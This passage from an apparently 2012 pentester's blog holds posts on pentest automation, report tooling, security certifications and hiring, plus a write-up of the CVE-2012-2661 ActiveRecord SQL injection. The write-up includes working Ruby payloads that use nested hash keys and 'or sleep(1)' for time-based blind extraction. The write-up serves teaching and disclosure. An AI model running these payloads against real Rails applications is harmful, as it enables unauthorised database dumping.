  • fingerprinting
  • scanning
  • reporting
  • retesting
  • monitoring

This is how, in my opinion things should be done:

  1. during the scoping: someone visits the website in depth and provides a log of all the requests and pages. That way you can create real value and do your pricing based on real data (number of pages, privileges levels, forms, inputs, captcha, WAF,...). Too many people doing sales in this industry just have a quick look to a site and scope it using "magic".
  2. during the fingerprinting, an automatic tool used the scoping logs and scan the website to gather information. A tester reviews this information.
  3. during the testing, both tester and scanners use the data from the scoping and fingerprinting to scan the website and create a list of issues
  4. these issues are put together to build a report
  5. the testing should be done based on previous information and probably automated at 60%
  6. the monitoring is just another tool that used previous information to send alerts based on new exploit published: "This client was running Wordpress x.x.x, a vulnerability has been found in this product". That way you can provide a great  after-sales service :) I sent email to clients using Ruby on Rails after CVE-2012-2661 was published, they really enjoyed this kind of after-sales service...

As a side note, I'm a strong believer that the pentesting industry will probably more and more move to a real time vulnerabilities disclosure during pentest (with a lot of pros and cons, maybe for a next post), and automation will play a real important part in this new methodology :)

Friday, 1 June 2012

CVE-2012-2661: exploitation write-up

Being a activerecord user, I spent some time working on CVE-2012-2661,and its exploitability...

At first I only thought I can get an authentication bypass if some conditions using hashes in the URL...

But I really wanted more out of this bug... this is the Ruby code I start working with:

require 'active_record'
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "webapp",
      :password => "follow @pentesterlab, smartass"
      :database => "test"

class User < ActiveRecord::Base

require 'irb'

Basically, with that I can get a database connection, a class using activerecord and start playing

So i thought I only had an authentication bypass by changing:
   User.where(:password =>  'password' , :login =>'admin').all
   User.where(:password => {'' => 1} , :login =>'admin').all

The main problem is that everything seems to be encoded correctly...

We need to go deeper...

But after more work and some discussions with @lukejahnke, an error message seems interesting for the following code:
   > User.where(:password => {'mysql.user' => {'id' => '1'}},  :login =>'admin' ).all

ActiveRecord::StatementInvalid: Mysql2::Error: Access denied for user 'webapp'@'localhost' to database 'mysql': SHOW TABLES IN mysql LIKE 'user'
We have an error here because webapp doesn't have access to the table...

Let's use root from now (to prevent this error and keep working on the payload)...

      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "root",
      :password => "follow @pentesterlab, super smartass"
      :database => "test"

Even more interesting now: 

  > User.where(:password => {'mysql plop.user' => {'id' => '1'}}).all

ActiveRecord::StatementInvalid: Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'plop LIKE 'user'' at line 1: SHOW TABLES IN mysql plop LIKE 'user'

We are now injecting in the first query... the one used to get the information out of the table before the select is performed.... UM NUM NUM :) 
The value used in this request is then passed to the SELECT  request which obviously fails... 

Now as usual, time to read the Mysql documentation to get all the possible syntax accepted by show table

So, it's possible to do show table in mysql where ....

And with some sleep(), you can get 2 queries: 

  •  User.where(:password => {'mysql where (select 1) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which quickly throws an error 
  •  User.where(:password => {'mysql where (select 0) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which throws an error after few seconds

Last thing, activerecord caches the result, so each request needs to be different (trivial to bypass)...

I hope this post provides enough details but not too much if you know what I mean...

Some side notes:


I saw a question on reddit on what you can actually do:
 TLDR:  You can dump information.

More details now:

If you see the lines containing: "(select 0) or sleep(1) " and "(select 1) or sleep(1)"

First, since "or" is used, the "sleep(1)" will only be reached if the first part of the statement is false (i.e. select 0).

The (select X) can be used to dump information. You can use it to do a blind SQL injection. You have 2 states (based on the response time), so you're able to ask questions like:
  "is the first letter of the version a '5' ?"

If the response is fast, you know that this question returns true (like "select 1") and the sleep statement is never reached (since it's a OR statement). If the response is slow, you know that this question returns false (like select 0) and the sleep statement was reached.

Edit: You should check out PentesterLab's training on this bug:  CVE-2012-2661: ActiveRecord SQL injection

Thursday, 31 May 2012

Reporting automation... more details...

When I first talked about reporting automation, I forgot to mention a major point. And since I have been "talking on twitter" about it with Dradis authors (If you have report automation issues you should totally check Dradis, it's pretty cool).

I didn't talk about: Information storage, i.e.: the way your issues and report is going to be stored. And that's in my opinion one of the most important point.

When you're a pentester, you're working:
  • off site in the office
  • on site for a week at a client's office, 
  • then you do a wireless test and spend a day without being connected to the network
  • then you setup a crazy network to MITM an iphone application and don't really want to break it
And in all these situations, you will need to be able to read and write issues...

When you're a pentester, your report:
  • need to be reviewed by a tech person
  • need to be reviewed by a business person 
  • and mostly you want your co-worker to write a good part of it ;)
All these situations create a really big problem of data synchronisation, especially when you're in a rush...

I often see people get a tech review of their issues write-up while they write the exec summary, then they copy/paste the changes from the review.


If your reporting solution is based on a single Word document or a centralised database... You just lost the productivity game...

Dradis solves this problem by allowing you to import sqlite databases to your current project... That's a good way to do it but there is so many things that can go wrong... Databases are not meant to be used for this kind of problems.

But you know who had the same problem for ages... developers and they came out with great tools like cvs, svn,... and git.

I picked git because it has off-line commits which allow you to work in any situation and that's really important in my opinion, you don't want to connect back to your network just to commit an issue.

So now, the problem of versioning is solved since git is meant to do that and to perform easy merge (or at least tell you when a merge doesn't work properly).

Now, some other advantages of git (shared with some other versioning tools):
  • more than one master repositories... you can have one for storage, one for backup, one for reporting and one for review for example. You can then push your changes to the storage's one and you can push some changes you want to be reviewed to the review's one. Same for the reporting.
  • you can have hooks. Basically you can be notified when something happens on your repository... so for example, you can have notifications on your review repositories that send an IRC message for the tech review and a jabber message for the business review
  • you can have hooks (again.), imagine you have a tool that built the report from your issues, you can get this report built every time you push to the reporting repositories.
  • you can have hooks (again..), you can run `aspell` on every issue when they are committed
  • you can have hooks (again...), imagine you create in your commit a file named 2crack and push it to a specific repository... a hook takes the file, (create a branch), and run your password cracking tools on it
  • you can have branches, you can create automatic script that will put their results in a git branch so you can review them and merge them if needed in your working repository. For example, you can run skipfish (with a 2skipfish file for example) through a hook and get its result in a skipfish branches then merge it back.

However, this method needs a way to store all information as text, hopefully languages like Mardown can be used they're simple and easy (compare to Latex)...

I hope these details give you a better understanding on why I'm so unhappy to use Word to write Security reports.

Report should be seen as a process not just a result...   ;)

Tuesday, 29 May 2012

On certifications...

As you probably guessed it if you read this post, I'm not a big fan of certifications... In this post, I will provide more details on why...

As a disclaimer, I didn't try to get any of this exams, I however read some of the courses ...

There is a lot of certifications in the security market: CISSP, CEH, ISO27001 lead auditor,   ISO27001 lead implementer, GIAC, CREST, ... When I think about that, I have a mental image of a cow (with Security written on it) getting milked by people in suits (all this people have one of this certification's name in their back) ... It's basically what the current market of certifications is in my opinion...

As an opener, this is a little story someone told me: one of this certifications' shop was offering a new certification for free and without any work or exams to some people already certified by this shop but for another certification (selected for their experience obviously). This was just done to bootstrap the new certifications and give it some value ("X people are already B.L.A.H certified, what are you waiting for...")

First, the CISSP, I think the CISSP is a good certification if you want to prove that you have a basic understanding of security. It's kind of like when you want to go kayaking you need a paper saying that you can swim 50 meters... it doesn't really show that you will be able to swim in open water or in strong current, but it shows that you won't drown in less than a minute. The most annoying thing about CISSP is people putting it in their name on LinkedIn or in their emails signature, it's not a PHD or something you need a lot of work to get so please remove it from your name. Some people are even bragging "I know security, I'm a CISSP" to people who really understand security... It just doesn't work that way, are you going to tell a professional swimmer that you have your "I can swim 50 meters" certificate? 

I have mix-feeling about CSSLP, it has been created by ISC2 (like the CISSP) but the content actually seems better and more practical. Even if their marketing is terrible "you will be seen as a leader in your organization":

I quickly read the course book, and I think it's a good introduction to SDLC. However it's not really known or used.

C.E.H. has probably the worst value in my opinion, not that the certification is completely bad (I had some inside on their exam), but because of a lot of people passing them and thinking they know everything about security/hacking because they run msf few times and exploit a SQLi using SQLmap... and let face it the name is intrinsically wrong. There is however some really good people who started with this certification and manage to get really good. If you're CEH, see this certification as a starting point and a quick introduction to security, all the work is still to be done.

In Australia, people started talking about CREST one or two years ago. CREST seems above other technical certifications and is really hard to get. The exam is hard and you don't have internet access (which seems a bit unreasonable)... So you need to have everything on you and be ready with even old exploits in case you see really old systems. There are 2 reasons for the no internet access: you won't be able to leak their exams and you won't get help. That seems fair but is really far from the pentest reality. There is some weird thing about CREST that I however still don't get, if you look at the Member Companies,  and scroll down to "Thales UK Ltd" or "Security Alliance - Paladion / Plynt", you can see that they are listed without any "Certified Application Test Consultants", "Certified Infrastructure Test Consultants" or "CRT Qualified Consultants". I think this is confusing and may lead to mistakes for someone doing a (too) quick check on the website. Finally, the format of the certification is not really easy for small pentest boutiques and it's more likely to help 30+ people pentest shops than small businesses as skills differentiators.

I won't even talk about /ISO-2700\d/ certification since they have nothing to do with pentesting. I guess it's just another world...

Now let's kill one pro-certification argument...
Pro-certification people often argue that you won't get surgery from a non-certified doctor, or electricity from a non certified electrician. This argument is fundamentally wrong. Firstly, being a doctor requires far more than a one day exam... it's a lot of studying and practicing, nothing the security industry can relate to. Secondly, certified electricians are not used because they are better, they are used because insurance companies force people to... I'm pretty sure people with a real passion for electronic and renovation but not certified will do a better work than most of the certified electrician.

Now what is the solution ? No certification, probably not... the security industry is a market for lemons. I think certifications are just something you have or don't have and just mean that you spend one week working on an exam. Nothing more, nothing less... It's just one more line in your resume. Certifications should be seen as the starting point of something and not a goal. However as said before, I often see them as a negative point (especially for people collecting them), since they are currently used to show your knowledge and not just to show your interest/passion.

As a pentester, if I had one week to skill up, I will probably go for:
  • a training at a security conference;
  • a security conference (for talks and to meet people);
  • a week working on a security project;
  • a programming course.
 You will probably get far more value out of these, however you won't be able to hang these in your living room.

Saturday, 19 May 2012

Reporting automation

I'm a big fan of automation... computers have been created to process automatic/annoying tasks...

One of my favorite subject that I still didn't crack is reporting automation. Building reports automatically is in my opinion really important for the following reasons:
  •  remediation is often the same for a given findings and can automatically be improved (like putting PHP function for a directory traversal on a PHP website instead of just generic prevention for directory traversal)
  •  you can prevent some usual mistakes: like bad risk rating of XSS if the HttpOnly flag is set,
  •  you can create pretty graphs,
  •  you can keep statistics on your findings,
  •  and mostly, you can save time.

So far, I found 5 solutions and can't make my mind on which one is the best:

  •  Latex (known as the masochistic solution). Using Latex to generate a PDF, it's probably the solution that will create the prettiest reports but is also the most painful one... and it's not really easy for people coming on board.
  •  Markdown -> HTML -> PDF using Webkit, this is what I'm currently using for Pentesterlab's courses. It looks pretty nice and pretty much everything is done by CSS (ie: you can get a web designer to work on it) so you can get the pretty reports.
  •  Markdown -> HTML -> PDF using Prince, same as above but you have to pay for Prince. However I think the result will be a bit better (Prince's export to PDF is better than Webkit)
  •  Open Office automation using java/python. Unfortunately, I have really bad memories with Open Office and sometimes the result on Word is not perfect
  •  Word automation using C#. Probably the best solution since you have a real Word document at the end but I don't really like the tool chain and don't want to spend few days/weeks in Visual Studio/Windows.
Even if they seem more annoying, the first three solutions have a really big advantage in my opinion: you can easily keep tracks of changes using git/svn/... since you don't handle binary files. However, you need to use aspell instead of Word/Open Office spell check.

Any thoughts/ideas on this?

Monday, 14 May 2012

Hiring pentesters... from the other side

Someone suggested that I should write from the other side of the hiring process... and I think it's a pretty cool idea :)

Just as a side note before starting, I was really interested and surprised by the Hungry Academy. If someone wants to start something similar, I will be really happy to help ;)

Now back to our subject...

Every time I run an interview, there is the moment when you ask people if they have any questions...
Maybe it's because interviewees know really well the company (meh...), talked with someone else before, or just don't want to give a bad impression, but I'm often surprised by the (lack) of (interesting/important) questions.

In the current market (especially in Australia), good pentesters can now choose who they work for (compared to few years ago)... IT security is currently starving for (good) pentesters...

These are some of the questions that in my opinion are really important and that most interviewees should ask:
  • how many engagements have you rejected in the last six months? And why did you reject them? 
  • how long is the average engagement? What is the longest? What is the shortest?
  • how much research time will be provided? will this research time be included in a written agreement?
  • OS running? (I'm old now and have really bad habits: Linux + wmii)
  • How many/Which conferences are allowed?
  • How many/What training can be done/followed? Do you run internal trainings?
  • Main programming language used for internal tools? and why?
  • What do you use for reporting? (I used to write reports with OpenOffice...)
  • What's your biggest weakness? (for one time this question can be asked to interviewers)
  • What's your biggest strength? (for one time this question can be asked to interviewers)
Some of these questions may seem silly, but as you get older you don't want to work in some conditions...

As a second site note, I started working on another project: PNTSTR... an easy way to run the first interview round without wasting too much time. 

Wednesday, 7 March 2012

Hiring pentesters... (2/?)

After the first post on hiring pentesters I thought I had to keep going... A lot of people read it and apparently liked it... If you are really interested by the interview process, matasano's one is pretty impressive...

Before the interview (or even before you read the resume), it's good to have a basic opinion on someone's skills... I wrote a simple website with 20 questions to get a quick feeling of who I'm talking to.

The questions are simple but allow to detect people with no security knowledge. Below are 2 of the 20 questions so you can see what I'm talking about:
  • unmd5 is the PHP function used to retrieve the clear text of a md5 ? True/False
  • Windows passwords are stored in C:\Windows\System32\drivers\etc\shadow ? True/False
If someone passes this test, the real technical interview can start.

As always, you will have the normal security questions (I guarantee most security companies ask for these):
  • explain a tcp handshake
  • how Windows passwords are stored?
  • what is a cookie?
  • opinion on disclosure?
From my experience, I think it's better to ask people to explain things than just to ask them what it's. You can really see what level of understanding people have of a problem...

For example, with Cross Site Scripting, you can have the following responses:
  • "it's a problem of filtering and it allows an attacker to inject script in the page"
  • "it's a problem of filtering and an attacker can display/run arbitrary code in victims' browser"
  • "it's a problem of output encoding and can be used to inject Javascript or HTML in the page sent back to victims"
  • ...
That way, you're able to see if the person really understands what's going on and how he will be able to explain it to someone else.

You need to have 2 types of questions:
  • questions based on memory: "what port is used by X", "what nmap options do you used"
  • questions based on reflection: "how will you solve that problem"

I also have my favorite set of questions:
  • "You're going to PentesterLab's website, explain what happens...", that way you can see someone's knowledge of TCP/IP, DNS, HTTP, SSL, ...
  • "What is the last cool thing you learned/read", that way you can see what people are interested by and where they at
After this test, another interview is setup with hands-on test (only if the person did good enough obviously), it's currently the web application of the exercise "From SQL injection to shell" and it's used to see how people think and behave with a computer.

You can see a lot of different things:
  • what people use for desktop
  • how fast someone is with his computer
  • how people solve a problem
  • if people bring a working laptop (yes it happened, someone came to an interview with a broken gentoo...)
  • learn from people: sometime people show you cool tricks you didn't think of
  • ...
Obviously, not everyone (actually only one person did it without any help so far) knows how to exploit a SQL injection manually (why do you think I created PentesterLab). But during the test, we help people and show how things work to see how they can learn new things and incorporate information into their way of thinking.